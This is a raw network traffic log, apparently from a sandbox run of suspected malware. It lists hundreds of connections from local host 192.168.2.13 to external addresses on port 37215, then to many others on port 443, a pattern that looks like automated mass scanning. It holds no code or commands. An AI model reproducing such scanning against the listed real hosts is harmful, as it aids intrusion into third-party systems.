Jan 30, 2025 10:42:58.129538059 CET	38811	37215	192.168.2.13	197.119.67.191
Jan 30, 2025 10:42:58.129539013 CET	37215	38811	41.57.49.71	192.168.2.13
Jan 30, 2025 10:42:58.129548073 CET	37215	38811	156.219.15.95	192.168.2.13
Jan 30, 2025 10:42:58.129556894 CET	37215	38811	197.36.138.121	192.168.2.13
Jan 30, 2025 10:42:58.129558086 CET	38811	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:58.129563093 CET	38811	37215	192.168.2.13	41.250.127.201
Jan 30, 2025 10:42:58.129565954 CET	37215	38811	156.95.129.39	192.168.2.13
Jan 30, 2025 10:42:58.129575014 CET	38811	37215	192.168.2.13	41.57.49.71
Jan 30, 2025 10:42:58.129576921 CET	37215	38811	41.193.251.70	192.168.2.13
Jan 30, 2025 10:42:58.129582882 CET	38811	37215	192.168.2.13	156.219.15.95
Jan 30, 2025 10:42:58.129587889 CET	37215	38811	156.229.77.85	192.168.2.13
Jan 30, 2025 10:42:58.129589081 CET	38811	37215	192.168.2.13	197.36.138.121
Jan 30, 2025 10:42:58.129595995 CET	38811	37215	192.168.2.13	156.95.129.39
Jan 30, 2025 10:42:58.129597902 CET	37215	38811	41.114.221.214	192.168.2.13
Jan 30, 2025 10:42:58.129606009 CET	38811	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:42:58.129606962 CET	37215	38811	197.55.246.248	192.168.2.13
Jan 30, 2025 10:42:58.129616976 CET	38811	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:42:58.129626036 CET	37215	38811	197.117.192.49	192.168.2.13
Jan 30, 2025 10:42:58.129633904 CET	37215	38811	156.186.122.47	192.168.2.13
Jan 30, 2025 10:42:58.129636049 CET	38811	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:42:58.129643917 CET	38811	37215	192.168.2.13	197.55.246.248
Jan 30, 2025 10:42:58.129646063 CET	37215	38811	41.100.124.121	192.168.2.13
Jan 30, 2025 10:42:58.129654884 CET	37215	38811	156.252.3.126	192.168.2.13
Jan 30, 2025 10:42:58.129658937 CET	38811	37215	192.168.2.13	197.117.192.49
Jan 30, 2025 10:42:58.129666090 CET	37215	38811	41.47.51.86	192.168.2.13
Jan 30, 2025 10:42:58.129668951 CET	38811	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:42:58.129683971 CET	38811	37215	192.168.2.13	156.252.3.126
Jan 30, 2025 10:42:58.129688025 CET	38811	37215	192.168.2.13	41.100.124.121
Jan 30, 2025 10:42:58.129709959 CET	38811	37215	192.168.2.13	41.47.51.86
Jan 30, 2025 10:42:58.129928112 CET	37215	38811	197.74.198.211	192.168.2.13
Jan 30, 2025 10:42:58.129936934 CET	37215	38811	156.217.78.62	192.168.2.13
Jan 30, 2025 10:42:58.129945993 CET	37215	38811	156.115.243.2	192.168.2.13
Jan 30, 2025 10:42:58.129956007 CET	37215	38811	156.245.216.254	192.168.2.13
Jan 30, 2025 10:42:58.129964113 CET	37215	38811	156.91.135.235	192.168.2.13
Jan 30, 2025 10:42:58.129965067 CET	38811	37215	192.168.2.13	156.217.78.62
Jan 30, 2025 10:42:58.129966021 CET	38811	37215	192.168.2.13	197.74.198.211
Jan 30, 2025 10:42:58.129971981 CET	37215	38811	41.110.101.0	192.168.2.13
Jan 30, 2025 10:42:58.129985094 CET	38811	37215	192.168.2.13	156.245.216.254
Jan 30, 2025 10:42:58.129987001 CET	38811	37215	192.168.2.13	156.91.135.235
Jan 30, 2025 10:42:58.129988909 CET	38811	37215	192.168.2.13	156.115.243.2
Jan 30, 2025 10:42:58.130012989 CET	37215	38811	156.48.204.33	192.168.2.13
Jan 30, 2025 10:42:58.130019903 CET	38811	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:42:58.130022049 CET	37215	38811	41.205.61.115	192.168.2.13
Jan 30, 2025 10:42:58.130031109 CET	37215	38811	41.100.230.86	192.168.2.13
Jan 30, 2025 10:42:58.130038977 CET	37215	38811	156.179.84.58	192.168.2.13
Jan 30, 2025 10:42:58.130048037 CET	37215	38811	197.154.15.206	192.168.2.13
Jan 30, 2025 10:42:58.130053997 CET	38811	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:42:58.130054951 CET	38811	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:42:58.130058050 CET	37215	38811	41.215.1.212	192.168.2.13
Jan 30, 2025 10:42:58.130063057 CET	38811	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:42:58.130067110 CET	37215	38811	156.224.145.168	192.168.2.13
Jan 30, 2025 10:42:58.130070925 CET	38811	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:42:58.130074978 CET	38811	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:42:58.130081892 CET	37215	38811	156.198.139.64	192.168.2.13
Jan 30, 2025 10:42:58.130091906 CET	37215	38811	41.181.185.210	192.168.2.13
Jan 30, 2025 10:42:58.130095005 CET	38811	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:42:58.130100012 CET	37215	38811	156.147.172.251	192.168.2.13
Jan 30, 2025 10:42:58.130108118 CET	37215	38811	41.214.47.225	192.168.2.13
Jan 30, 2025 10:42:58.130108118 CET	38811	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:42:58.130115986 CET	38811	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:42:58.130115986 CET	37215	38811	156.73.88.204	192.168.2.13
Jan 30, 2025 10:42:58.130115986 CET	38811	37215	192.168.2.13	41.181.185.210
Jan 30, 2025 10:42:58.130126953 CET	37215	38811	41.26.125.148	192.168.2.13
Jan 30, 2025 10:42:58.130139112 CET	38811	37215	192.168.2.13	156.147.172.251
Jan 30, 2025 10:42:58.130141020 CET	38811	37215	192.168.2.13	41.214.47.225
Jan 30, 2025 10:42:58.130156994 CET	38811	37215	192.168.2.13	156.73.88.204
Jan 30, 2025 10:42:58.130156994 CET	38811	37215	192.168.2.13	41.26.125.148
Jan 30, 2025 10:42:58.130327940 CET	37215	38811	41.95.183.165	192.168.2.13
Jan 30, 2025 10:42:58.130337954 CET	37215	38811	197.199.186.236	192.168.2.13
Jan 30, 2025 10:42:58.130347013 CET	37215	38811	156.162.130.12	192.168.2.13
Jan 30, 2025 10:42:58.130351067 CET	37215	38811	156.98.209.241	192.168.2.13
Jan 30, 2025 10:42:58.130359888 CET	38811	37215	192.168.2.13	41.95.183.165
Jan 30, 2025 10:42:58.130367994 CET	37215	38811	41.221.209.217	192.168.2.13
Jan 30, 2025 10:42:58.130371094 CET	38811	37215	192.168.2.13	197.199.186.236
Jan 30, 2025 10:42:58.130378962 CET	38811	37215	192.168.2.13	156.162.130.12
Jan 30, 2025 10:42:58.130387068 CET	38811	37215	192.168.2.13	156.98.209.241
Jan 30, 2025 10:42:58.130393982 CET	37215	38811	156.20.186.254	192.168.2.13
Jan 30, 2025 10:42:58.130400896 CET	38811	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:42:58.130403996 CET	37215	38811	197.219.207.217	192.168.2.13
Jan 30, 2025 10:42:58.130413055 CET	37215	38811	197.220.153.229	192.168.2.13
Jan 30, 2025 10:42:58.130423069 CET	37215	38811	197.211.43.63	192.168.2.13
Jan 30, 2025 10:42:58.130429983 CET	38811	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:42:58.130433083 CET	38811	37215	192.168.2.13	197.219.207.217
Jan 30, 2025 10:42:58.130439043 CET	37215	38811	156.192.119.32	192.168.2.13
Jan 30, 2025 10:42:58.130445004 CET	38811	37215	192.168.2.13	197.220.153.229
Jan 30, 2025 10:42:58.130449057 CET	37215	38811	156.7.152.31	192.168.2.13
Jan 30, 2025 10:42:58.130460024 CET	37215	38811	156.232.166.67	192.168.2.13
Jan 30, 2025 10:42:58.130466938 CET	38811	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:42:58.130469084 CET	38811	37215	192.168.2.13	156.192.119.32
Jan 30, 2025 10:42:58.130479097 CET	37215	38811	197.222.207.101	192.168.2.13
Jan 30, 2025 10:42:58.130481958 CET	38811	37215	192.168.2.13	156.7.152.31
Jan 30, 2025 10:42:58.130486012 CET	38811	37215	192.168.2.13	156.232.166.67
Jan 30, 2025 10:42:58.130489111 CET	37215	38811	41.2.193.147	192.168.2.13
Jan 30, 2025 10:42:58.130497932 CET	37215	38811	41.142.150.156	192.168.2.13
Jan 30, 2025 10:42:58.130506992 CET	37215	38811	197.236.183.89	192.168.2.13
Jan 30, 2025 10:42:58.130516052 CET	37215	38811	156.97.202.177	192.168.2.13
Jan 30, 2025 10:42:58.130520105 CET	37215	38811	41.137.30.159	192.168.2.13
Jan 30, 2025 10:42:58.130522966 CET	38811	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:42:58.130523920 CET	37215	38811	41.160.108.206	192.168.2.13
Jan 30, 2025 10:42:58.130528927 CET	37215	38811	41.168.122.168	192.168.2.13
Jan 30, 2025 10:42:58.130528927 CET	38811	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:42:58.130528927 CET	38811	37215	192.168.2.13	41.2.193.147
Jan 30, 2025 10:42:58.130542040 CET	38811	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:42:58.130552053 CET	38811	37215	192.168.2.13	156.97.202.177
Jan 30, 2025 10:42:58.130558968 CET	38811	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:42:58.130563021 CET	38811	37215	192.168.2.13	41.160.108.206
Jan 30, 2025 10:42:58.130563021 CET	38811	37215	192.168.2.13	41.168.122.168
Jan 30, 2025 10:42:58.130887985 CET	37215	38811	156.242.44.150	192.168.2.13
Jan 30, 2025 10:42:58.130898952 CET	37215	38811	41.173.205.234	192.168.2.13
Jan 30, 2025 10:42:58.130907059 CET	37215	38811	156.32.8.151	192.168.2.13
Jan 30, 2025 10:42:58.130916119 CET	37215	38811	197.109.251.180	192.168.2.13
Jan 30, 2025 10:42:58.130924940 CET	37215	38811	41.127.235.237	192.168.2.13
Jan 30, 2025 10:42:58.130932093 CET	38811	37215	192.168.2.13	41.173.205.234
Jan 30, 2025 10:42:58.130934954 CET	37215	38811	197.214.77.6	192.168.2.13
Jan 30, 2025 10:42:58.130945921 CET	37215	38811	197.60.231.190	192.168.2.13
Jan 30, 2025 10:42:58.130945921 CET	38811	37215	192.168.2.13	156.32.8.151
Jan 30, 2025 10:42:58.130947113 CET	38811	37215	192.168.2.13	156.242.44.150
Jan 30, 2025 10:42:58.130951881 CET	38811	37215	192.168.2.13	197.109.251.180
Jan 30, 2025 10:42:58.130954981 CET	37215	38811	41.179.125.10	192.168.2.13
Jan 30, 2025 10:42:58.130964041 CET	38811	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:58.130966902 CET	38811	37215	192.168.2.13	197.214.77.6
Jan 30, 2025 10:42:58.130978107 CET	38811	37215	192.168.2.13	197.60.231.190
Jan 30, 2025 10:42:58.131004095 CET	38811	37215	192.168.2.13	41.179.125.10
Jan 30, 2025 10:42:58.131056070 CET	37215	38811	156.96.69.23	192.168.2.13
Jan 30, 2025 10:42:58.131064892 CET	37215	38811	41.0.25.105	192.168.2.13
Jan 30, 2025 10:42:58.131073952 CET	37215	38811	41.123.3.105	192.168.2.13
Jan 30, 2025 10:42:58.131083012 CET	37215	38811	156.237.207.212	192.168.2.13
Jan 30, 2025 10:42:58.131091118 CET	38811	37215	192.168.2.13	156.96.69.23
Jan 30, 2025 10:42:58.131092072 CET	37215	38811	197.255.105.255	192.168.2.13
Jan 30, 2025 10:42:58.131091118 CET	38811	37215	192.168.2.13	41.0.25.105
Jan 30, 2025 10:42:58.131100893 CET	37215	38811	156.217.58.100	192.168.2.13
Jan 30, 2025 10:42:58.131105900 CET	38811	37215	192.168.2.13	41.123.3.105
Jan 30, 2025 10:42:58.131105900 CET	38811	37215	192.168.2.13	156.237.207.212
Jan 30, 2025 10:42:58.131110907 CET	37215	38811	197.249.73.105	192.168.2.13
Jan 30, 2025 10:42:58.131119967 CET	37215	38811	197.242.214.168	192.168.2.13
Jan 30, 2025 10:42:58.131128073 CET	37215	38811	41.216.14.111	192.168.2.13
Jan 30, 2025 10:42:58.131130934 CET	38811	37215	192.168.2.13	197.255.105.255
Jan 30, 2025 10:42:58.131136894 CET	37215	38811	156.248.124.216	192.168.2.13
Jan 30, 2025 10:42:58.131140947 CET	38811	37215	192.168.2.13	156.217.58.100
Jan 30, 2025 10:42:58.131140947 CET	38811	37215	192.168.2.13	197.249.73.105
Jan 30, 2025 10:42:58.131153107 CET	38811	37215	192.168.2.13	197.242.214.168
Jan 30, 2025 10:42:58.131155014 CET	37215	38811	41.232.72.237	192.168.2.13
Jan 30, 2025 10:42:58.131164074 CET	38811	37215	192.168.2.13	156.248.124.216
Jan 30, 2025 10:42:58.131165028 CET	38811	37215	192.168.2.13	41.216.14.111
Jan 30, 2025 10:42:58.131172895 CET	37215	38811	156.45.158.173	192.168.2.13
Jan 30, 2025 10:42:58.131181955 CET	38811	37215	192.168.2.13	41.232.72.237
Jan 30, 2025 10:42:58.131189108 CET	37215	38811	197.157.65.117	192.168.2.13
Jan 30, 2025 10:42:58.131197929 CET	37215	38811	156.164.33.173	192.168.2.13
Jan 30, 2025 10:42:58.131206989 CET	37215	38811	156.65.117.204	192.168.2.13
Jan 30, 2025 10:42:58.131211996 CET	38811	37215	192.168.2.13	156.45.158.173
Jan 30, 2025 10:42:58.131215096 CET	37215	38811	156.128.249.200	192.168.2.13
Jan 30, 2025 10:42:58.131222963 CET	38811	37215	192.168.2.13	197.157.65.117
Jan 30, 2025 10:42:58.131226063 CET	38811	37215	192.168.2.13	156.164.33.173
Jan 30, 2025 10:42:58.131231070 CET	37215	38811	156.226.186.181	192.168.2.13
Jan 30, 2025 10:42:58.131236076 CET	38811	37215	192.168.2.13	156.128.249.200
Jan 30, 2025 10:42:58.131237030 CET	38811	37215	192.168.2.13	156.65.117.204
Jan 30, 2025 10:42:58.131241083 CET	37215	38811	197.194.55.145	192.168.2.13
Jan 30, 2025 10:42:58.131249905 CET	37215	38811	41.252.224.147	192.168.2.13
Jan 30, 2025 10:42:58.131262064 CET	37215	38811	41.103.106.82	192.168.2.13
Jan 30, 2025 10:42:58.131267071 CET	38811	37215	192.168.2.13	156.226.186.181
Jan 30, 2025 10:42:58.131267071 CET	38811	37215	192.168.2.13	197.194.55.145
Jan 30, 2025 10:42:58.131283045 CET	38811	37215	192.168.2.13	41.252.224.147
Jan 30, 2025 10:42:58.131287098 CET	38811	37215	192.168.2.13	41.103.106.82
Jan 30, 2025 10:42:58.131534100 CET	37215	38811	197.196.223.123	192.168.2.13
Jan 30, 2025 10:42:58.131544113 CET	37215	38811	41.130.167.41	192.168.2.13
Jan 30, 2025 10:42:58.131551981 CET	37215	38811	41.215.219.107	192.168.2.13
Jan 30, 2025 10:42:58.131568909 CET	37215	38811	41.254.211.227	192.168.2.13
Jan 30, 2025 10:42:58.131577015 CET	38811	37215	192.168.2.13	197.196.223.123
Jan 30, 2025 10:42:58.131577969 CET	38811	37215	192.168.2.13	41.130.167.41
Jan 30, 2025 10:42:58.131580114 CET	38811	37215	192.168.2.13	41.215.219.107
Jan 30, 2025 10:42:58.131589890 CET	37215	38811	197.56.77.129	192.168.2.13
Jan 30, 2025 10:42:58.131598949 CET	37215	38811	41.2.27.45	192.168.2.13
Jan 30, 2025 10:42:58.131607056 CET	37215	38811	41.200.9.192	192.168.2.13
Jan 30, 2025 10:42:58.131613016 CET	38811	37215	192.168.2.13	41.254.211.227
Jan 30, 2025 10:42:58.131616116 CET	37215	38811	156.202.21.91	192.168.2.13
Jan 30, 2025 10:42:58.131628036 CET	37215	38811	41.15.59.74	192.168.2.13
Jan 30, 2025 10:42:58.131630898 CET	38811	37215	192.168.2.13	197.56.77.129
Jan 30, 2025 10:42:58.131633043 CET	38811	37215	192.168.2.13	41.2.27.45
Jan 30, 2025 10:42:58.131642103 CET	37215	38811	156.246.83.115	192.168.2.13
Jan 30, 2025 10:42:58.131643057 CET	38811	37215	192.168.2.13	41.200.9.192
Jan 30, 2025 10:42:58.131653070 CET	38811	37215	192.168.2.13	156.202.21.91
Jan 30, 2025 10:42:58.131658077 CET	38811	37215	192.168.2.13	41.15.59.74
Jan 30, 2025 10:42:58.131659031 CET	37215	38811	156.148.206.88	192.168.2.13
Jan 30, 2025 10:42:58.131670952 CET	37215	38811	156.176.49.230	192.168.2.13
Jan 30, 2025 10:42:58.131680012 CET	37215	38811	197.189.0.102	192.168.2.13
Jan 30, 2025 10:42:58.131684065 CET	38811	37215	192.168.2.13	156.246.83.115
Jan 30, 2025 10:42:58.131688118 CET	37215	38811	197.211.116.63	192.168.2.13
Jan 30, 2025 10:42:58.131689072 CET	38811	37215	192.168.2.13	156.148.206.88
Jan 30, 2025 10:42:58.131696939 CET	37215	38811	156.178.71.75	192.168.2.13
Jan 30, 2025 10:42:58.131705999 CET	37215	38811	41.83.65.124	192.168.2.13
Jan 30, 2025 10:42:58.131707907 CET	38811	37215	192.168.2.13	156.176.49.230
Jan 30, 2025 10:42:58.131707907 CET	38811	37215	192.168.2.13	197.189.0.102
Jan 30, 2025 10:42:58.131714106 CET	38811	37215	192.168.2.13	197.211.116.63
Jan 30, 2025 10:42:58.131716967 CET	38811	37215	192.168.2.13	156.178.71.75
Jan 30, 2025 10:42:58.131742954 CET	38811	37215	192.168.2.13	41.83.65.124
Jan 30, 2025 10:42:58.132133961 CET	37215	38811	156.234.47.51	192.168.2.13
Jan 30, 2025 10:42:58.132144928 CET	37215	38811	41.2.83.184	192.168.2.13
Jan 30, 2025 10:42:58.132154942 CET	37215	38811	41.214.236.38	192.168.2.13
Jan 30, 2025 10:42:58.132169008 CET	37215	38811	197.166.254.41	192.168.2.13
Jan 30, 2025 10:42:58.132179022 CET	37215	38811	41.67.88.232	192.168.2.13
Jan 30, 2025 10:42:58.132179976 CET	38811	37215	192.168.2.13	41.2.83.184
Jan 30, 2025 10:42:58.132188082 CET	38811	37215	192.168.2.13	156.234.47.51
Jan 30, 2025 10:42:58.132189035 CET	37215	38811	156.226.64.197	192.168.2.13
Jan 30, 2025 10:42:58.132188082 CET	38811	37215	192.168.2.13	41.214.236.38
Jan 30, 2025 10:42:58.132199049 CET	37215	38811	197.72.134.87	192.168.2.13
Jan 30, 2025 10:42:58.132208109 CET	38811	37215	192.168.2.13	197.166.254.41
Jan 30, 2025 10:42:58.132210016 CET	38811	37215	192.168.2.13	41.67.88.232
Jan 30, 2025 10:42:58.132217884 CET	37215	38811	41.18.7.22	192.168.2.13
Jan 30, 2025 10:42:58.132220030 CET	38811	37215	192.168.2.13	156.226.64.197
Jan 30, 2025 10:42:58.132227898 CET	37215	38811	197.29.54.48	192.168.2.13
Jan 30, 2025 10:42:58.132236958 CET	37215	38811	41.224.108.136	192.168.2.13
Jan 30, 2025 10:42:58.132245064 CET	38811	37215	192.168.2.13	41.18.7.22
Jan 30, 2025 10:42:58.132245064 CET	38811	37215	192.168.2.13	197.72.134.87
Jan 30, 2025 10:42:58.132246017 CET	37215	38811	41.246.112.122	192.168.2.13
Jan 30, 2025 10:42:58.132252932 CET	38811	37215	192.168.2.13	197.29.54.48
Jan 30, 2025 10:42:58.132261038 CET	37215	38811	41.201.65.94	192.168.2.13
Jan 30, 2025 10:42:58.132270098 CET	37215	38811	41.94.169.216	192.168.2.13
Jan 30, 2025 10:42:58.132277966 CET	38811	37215	192.168.2.13	41.224.108.136
Jan 30, 2025 10:42:58.132278919 CET	37215	38811	197.55.145.128	192.168.2.13
Jan 30, 2025 10:42:58.132287025 CET	38811	37215	192.168.2.13	41.201.65.94
Jan 30, 2025 10:42:58.132289886 CET	38811	37215	192.168.2.13	41.246.112.122
Jan 30, 2025 10:42:58.132293940 CET	37215	38811	197.90.81.4	192.168.2.13
Jan 30, 2025 10:42:58.132301092 CET	38811	37215	192.168.2.13	197.55.145.128
Jan 30, 2025 10:42:58.132302046 CET	38811	37215	192.168.2.13	41.94.169.216
Jan 30, 2025 10:42:58.132303953 CET	37215	38811	197.178.10.45	192.168.2.13
Jan 30, 2025 10:42:58.132313013 CET	37215	38811	41.208.7.39	192.168.2.13
Jan 30, 2025 10:42:58.132323027 CET	37215	38811	197.126.22.15	192.168.2.13
Jan 30, 2025 10:42:58.132323980 CET	38811	37215	192.168.2.13	197.90.81.4
Jan 30, 2025 10:42:58.132334948 CET	38811	37215	192.168.2.13	197.178.10.45
Jan 30, 2025 10:42:58.132349014 CET	38811	37215	192.168.2.13	41.208.7.39
Jan 30, 2025 10:42:58.132356882 CET	38811	37215	192.168.2.13	197.126.22.15
Jan 30, 2025 10:42:58.132530928 CET	37215	38811	156.5.26.243	192.168.2.13
Jan 30, 2025 10:42:58.132539034 CET	37215	38811	41.119.28.160	192.168.2.13
Jan 30, 2025 10:42:58.132548094 CET	37215	38811	197.157.163.142	192.168.2.13
Jan 30, 2025 10:42:58.132556915 CET	37215	38811	41.98.52.237	192.168.2.13
Jan 30, 2025 10:42:58.132565975 CET	37215	38811	156.210.60.199	192.168.2.13
Jan 30, 2025 10:42:58.132570982 CET	38811	37215	192.168.2.13	41.119.28.160
Jan 30, 2025 10:42:58.132571936 CET	38811	37215	192.168.2.13	156.5.26.243
Jan 30, 2025 10:42:58.132574081 CET	37215	38811	156.1.103.179	192.168.2.13
Jan 30, 2025 10:42:58.132581949 CET	37215	38811	41.76.34.211	192.168.2.13
Jan 30, 2025 10:42:58.132586956 CET	38811	37215	192.168.2.13	197.157.163.142
Jan 30, 2025 10:42:58.132591963 CET	38811	37215	192.168.2.13	41.98.52.237
Jan 30, 2025 10:42:58.132591963 CET	38811	37215	192.168.2.13	156.210.60.199
Jan 30, 2025 10:42:58.132613897 CET	38811	37215	192.168.2.13	41.76.34.211
Jan 30, 2025 10:42:58.132617950 CET	38811	37215	192.168.2.13	156.1.103.179
Jan 30, 2025 10:42:58.132643938 CET	37215	38811	197.154.154.238	192.168.2.13
Jan 30, 2025 10:42:58.132653952 CET	37215	38811	156.116.89.138	192.168.2.13
Jan 30, 2025 10:42:58.132663012 CET	37215	38811	197.144.64.55	192.168.2.13
Jan 30, 2025 10:42:58.132671118 CET	37215	38811	41.45.200.125	192.168.2.13
Jan 30, 2025 10:42:58.132678032 CET	38811	37215	192.168.2.13	197.154.154.238
Jan 30, 2025 10:42:58.132683039 CET	38811	37215	192.168.2.13	156.116.89.138
Jan 30, 2025 10:42:58.132685900 CET	37215	38811	197.141.227.229	192.168.2.13
Jan 30, 2025 10:42:58.132697105 CET	37215	38811	197.91.92.244	192.168.2.13
Jan 30, 2025 10:42:58.132698059 CET	38811	37215	192.168.2.13	197.144.64.55
Jan 30, 2025 10:42:58.132698059 CET	38811	37215	192.168.2.13	41.45.200.125
Jan 30, 2025 10:42:58.132705927 CET	37215	38811	41.79.212.222	192.168.2.13
Jan 30, 2025 10:42:58.132714033 CET	37215	38811	41.203.119.187	192.168.2.13
Jan 30, 2025 10:42:58.132716894 CET	38811	37215	192.168.2.13	197.141.227.229
Jan 30, 2025 10:42:58.132724047 CET	38811	37215	192.168.2.13	197.91.92.244
Jan 30, 2025 10:42:58.132734060 CET	38811	37215	192.168.2.13	41.79.212.222
Jan 30, 2025 10:42:58.132742882 CET	38811	37215	192.168.2.13	41.203.119.187
Jan 30, 2025 10:42:58.132955074 CET	38815	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:42:58.132957935 CET	37215	38811	41.227.25.254	192.168.2.13
Jan 30, 2025 10:42:58.132967949 CET	37215	38811	156.185.61.60	192.168.2.13
Jan 30, 2025 10:42:58.132976055 CET	37215	38811	197.103.126.166	192.168.2.13
Jan 30, 2025 10:42:58.132978916 CET	443	38815	117.47.93.92	192.168.2.13
Jan 30, 2025 10:42:58.132983923 CET	37215	38811	197.236.159.143	192.168.2.13
Jan 30, 2025 10:42:58.132993937 CET	37215	38811	41.205.82.125	192.168.2.13
Jan 30, 2025 10:42:58.132996082 CET	38811	37215	192.168.2.13	41.227.25.254
Jan 30, 2025 10:42:58.132997990 CET	38811	37215	192.168.2.13	156.185.61.60
Jan 30, 2025 10:42:58.133004904 CET	37215	38811	197.192.52.114	192.168.2.13
Jan 30, 2025 10:42:58.133013964 CET	37215	38811	41.248.203.0	192.168.2.13
Jan 30, 2025 10:42:58.133021116 CET	38811	37215	192.168.2.13	197.103.126.166
Jan 30, 2025 10:42:58.133021116 CET	38815	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:42:58.133022070 CET	37215	38811	197.97.228.107	192.168.2.13
Jan 30, 2025 10:42:58.133028984 CET	38811	37215	192.168.2.13	41.205.82.125
Jan 30, 2025 10:42:58.133028984 CET	38811	37215	192.168.2.13	197.236.159.143
Jan 30, 2025 10:42:58.133029938 CET	38811	37215	192.168.2.13	197.192.52.114
Jan 30, 2025 10:42:58.133044958 CET	38811	37215	192.168.2.13	41.248.203.0
Jan 30, 2025 10:42:58.133069992 CET	38811	37215	192.168.2.13	197.97.228.107
Jan 30, 2025 10:42:58.133083105 CET	38815	443	192.168.2.13	148.229.248.8
Jan 30, 2025 10:42:58.133084059 CET	38815	443	192.168.2.13	212.242.224.92
Jan 30, 2025 10:42:58.133086920 CET	38815	443	192.168.2.13	79.150.194.67
Jan 30, 2025 10:42:58.133095980 CET	38815	443	192.168.2.13	2.227.75.109
Jan 30, 2025 10:42:58.133100033 CET	38815	443	192.168.2.13	79.41.104.119
Jan 30, 2025 10:42:58.133119106 CET	38815	443	192.168.2.13	148.111.21.4
Jan 30, 2025 10:42:58.133119106 CET	38815	443	192.168.2.13	37.144.40.11
Jan 30, 2025 10:42:58.133120060 CET	38815	443	192.168.2.13	212.117.140.86
Jan 30, 2025 10:42:58.133127928 CET	38815	443	192.168.2.13	212.151.3.165
Jan 30, 2025 10:42:58.133143902 CET	38815	443	192.168.2.13	109.251.24.10
Jan 30, 2025 10:42:58.133150101 CET	38815	443	192.168.2.13	94.131.124.173
Jan 30, 2025 10:42:58.133152008 CET	38815	443	192.168.2.13	210.170.172.203
Jan 30, 2025 10:42:58.133152008 CET	38815	443	192.168.2.13	118.33.246.104
Jan 30, 2025 10:42:58.133163929 CET	38815	443	192.168.2.13	2.182.70.205
Jan 30, 2025 10:42:58.133183956 CET	38815	443	192.168.2.13	212.179.80.226
Jan 30, 2025 10:42:58.133194923 CET	38815	443	192.168.2.13	42.29.168.246
Jan 30, 2025 10:42:58.133194923 CET	38815	443	192.168.2.13	178.121.42.32
Jan 30, 2025 10:42:58.133205891 CET	38815	443	192.168.2.13	94.32.229.160
Jan 30, 2025 10:42:58.133213997 CET	38815	443	192.168.2.13	212.111.140.160
Jan 30, 2025 10:42:58.133218050 CET	38815	443	192.168.2.13	202.229.192.144
Jan 30, 2025 10:42:58.133220911 CET	38815	443	192.168.2.13	2.48.102.117
Jan 30, 2025 10:42:58.133229017 CET	38815	443	192.168.2.13	37.206.176.222
Jan 30, 2025 10:42:58.133234024 CET	38815	443	192.168.2.13	148.34.21.181
Jan 30, 2025 10:42:58.133249044 CET	38815	443	192.168.2.13	109.191.173.181
Jan 30, 2025 10:42:58.133249044 CET	38815	443	192.168.2.13	210.124.118.249
Jan 30, 2025 10:42:58.133258104 CET	38815	443	192.168.2.13	109.126.42.52
Jan 30, 2025 10:42:58.133279085 CET	38815	443	192.168.2.13	117.153.253.156
Jan 30, 2025 10:42:58.133285999 CET	38815	443	192.168.2.13	94.30.126.45
Jan 30, 2025 10:42:58.133297920 CET	38815	443	192.168.2.13	79.111.138.131
Jan 30, 2025 10:42:58.133322954 CET	38815	443	192.168.2.13	123.56.20.29
Jan 30, 2025 10:42:58.133341074 CET	38815	443	192.168.2.13	148.91.9.39
Jan 30, 2025 10:42:58.133348942 CET	38815	443	192.168.2.13	148.96.219.105
Jan 30, 2025 10:42:58.133353949 CET	38815	443	192.168.2.13	5.44.189.224
Jan 30, 2025 10:42:58.133369923 CET	38815	443	192.168.2.13	148.109.11.229
Jan 30, 2025 10:42:58.133373022 CET	38815	443	192.168.2.13	123.194.20.42
Jan 30, 2025 10:42:58.133373022 CET	38815	443	192.168.2.13	117.11.171.81
Jan 30, 2025 10:42:58.133377075 CET	38815	443	192.168.2.13	212.242.116.225
Jan 30, 2025 10:42:58.133390903 CET	38815	443	192.168.2.13	212.78.29.1
Jan 30, 2025 10:42:58.133404016 CET	38815	443	192.168.2.13	5.95.63.244
Jan 30, 2025 10:42:58.133404970 CET	38815	443	192.168.2.13	37.43.86.175
Jan 30, 2025 10:42:58.133414984 CET	38815	443	192.168.2.13	178.58.253.0
Jan 30, 2025 10:42:58.133418083 CET	37215	38811	41.51.2.108	192.168.2.13
Jan 30, 2025 10:42:58.133428097 CET	37215	38811	156.57.48.227	192.168.2.13
Jan 30, 2025 10:42:58.133429050 CET	38815	443	192.168.2.13	123.208.70.211
Jan 30, 2025 10:42:58.133430004 CET	38815	443	192.168.2.13	94.67.122.108
Jan 30, 2025 10:42:58.133430004 CET	38815	443	192.168.2.13	123.79.190.108
Jan 30, 2025 10:42:58.133435965 CET	37215	38811	41.172.194.164	192.168.2.13
Jan 30, 2025 10:42:58.133441925 CET	37215	38811	156.83.132.204	192.168.2.13
Jan 30, 2025 10:42:58.133443117 CET	38815	443	192.168.2.13	2.148.35.112
Jan 30, 2025 10:42:58.133444071 CET	38815	443	192.168.2.13	94.170.109.133
Jan 30, 2025 10:42:58.133451939 CET	37215	38811	156.174.189.147	192.168.2.13
Jan 30, 2025 10:42:58.133454084 CET	38815	443	192.168.2.13	123.92.48.63
Jan 30, 2025 10:42:58.133460999 CET	38815	443	192.168.2.13	210.197.13.205
Jan 30, 2025 10:42:58.133461952 CET	37215	38811	156.88.215.91	192.168.2.13
